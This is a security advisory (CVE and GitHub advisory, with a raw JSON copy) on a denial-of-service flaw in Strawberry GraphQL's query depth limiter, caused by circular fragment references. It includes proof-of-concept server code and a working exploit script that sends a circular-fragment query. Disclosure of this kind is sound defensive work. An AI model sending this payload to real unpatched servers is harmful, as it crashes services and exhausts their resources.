CVE-2026-47706 (GCVE-0-2026-47706)

Vulnerability from cvelistv5 – Published: 2026-06-04 14:06 – Updated: 2026-06-04 15:38

Title

Strawberry GraphQL has a Circular Fragment Reference DOS

Summary

Strawberry GraphQL is a library for creating GraphQL APIs. In versions 0.71.0 through 0.315.6, the QueryDepthLimiter extension is vulnerable to an Application-level DOS due to a lack of cycle detection in fragment spreads. When a query contains circular fragment references the determine_depth function enters an infinite recursion, leading to a RecursionError and crashing the validation process. Version 0.315.7 patches the issue.

GHSA-QFWV-87QJ-98XQ

Vulnerability from github – Published: 2026-06-04 14:38 – Updated: 2026-06-04 14:38

Summary

Strawberry GraphQL has a Circular Fragment Reference DOS

Details

Summary

The QueryDepthLimiter extension is vulnerable to an Application-level DOS due to a lack of cycle detection in fragment spreads. When a query contains circular fragment references the determine_depth function enters an infinite recursion, leading to a RecursionError and crashing the validation process.

Details

The determine_depth function in query_depth_limiter.py recursively resolves FragmentSpreadNode without maintaining a set of visited fragments. By submitting a query with circular fragment references (e.g., Fragment A $\rightarrow$ Fragment B $\rightarrow$ Fragment A), the validator enters an infinite recursion.

PoC

server code

import strawberry
from fastapi import FastAPI
from strawberry.fastapi import GraphQLRouter
from strawberry.extensions import QueryDepthLimiter

@strawberry.type
class User:
    name: str = "GONA"

@strawberry.type
class Query:
    @strawberry.field
    def user(self) -> User:
        return User()

# Enable depth limiting
schema = strawberry.Schema(
    query=Query, 
    extensions=[QueryDepthLimiter(max_depth=10)]
)

app = FastAPI()
app.include_router(GraphQLRouter(schema), prefix="/graphql")

exploit

import httpx

# Circular reference: A -> B -> A -> B ...
payload = {
    "query": """
        fragment A on User {
            ...B
        }
        fragment B on User {
            ...A
        }
        query Crash {
            user {
                ...A
            }
        }
    """
}

try:
    response = httpx.post("http://127.0.0.1:8000/graphql", json=payload)
    print(response.json())
except Exception as e:
    print(f"Server crashed or timed out: {e}")

Impact

Since the validation happens before execution, an attacker can cheaply trigger this recursion error to exhaust server CPU cycles and thread/worker pools

Severity

  "details": "### Summary\nThe QueryDepthLimiter extension is vulnerable to an Application-level DOS due to a lack of cycle detection in fragment spreads. When a query contains circular fragment references the determine_depth function enters an infinite recursion, leading to a RecursionError and crashing the validation process.\n\n### Details\nThe determine_depth function in query_depth_limiter.py recursively resolves FragmentSpreadNode without maintaining a set of visited fragments.\nBy submitting a query with circular fragment references (e.g., Fragment A $\\rightarrow$ Fragment B $\\rightarrow$ Fragment A), the validator enters an infinite recursion.\n\n### PoC\n**server code**\n```\nimport strawberry\nfrom fastapi import FastAPI\nfrom strawberry.fastapi import GraphQLRouter\nfrom strawberry.extensions import QueryDepthLimiter\n\n@strawberry.type\nclass User:\n    name: str = \"GONA\"\n\n@strawberry.type\nclass Query:\n    @strawberry.field\n    def user(self) -\u003e User:\n        return User()\n\n# Enable depth limiting\nschema = strawberry.Schema(\n    query=Query, \n    extensions=[QueryDepthLimiter(max_depth=10)]\n)\n\napp = FastAPI()\napp.include_router(GraphQLRouter(schema), prefix=\"/graphql\")\n```\n\n**exploit**\n```\nimport httpx\n\n# Circular reference: A -\u003e B -\u003e A -\u003e B ...\npayload = {\n    \"query\": \"\"\"\n        fragment A on User {\n            ...B\n        }\n        fragment B on User {\n            ...A\n        }\n        query Crash {\n            user {\n                ...A\n            }\n        }\n    \"\"\"\n}\n\ntry:\n    response = httpx.post(\"http://127.0.0.1:8000/graphql\", json=payload)\n    print(response.json())\nexcept Exception as e:\n    print(f\"Server crashed or timed out: {e}\")\n```\n\n### Impact\nSince the validation happens before execution, an attacker can cheaply trigger this recursion error to exhaust server CPU cycles and thread/worker pools",
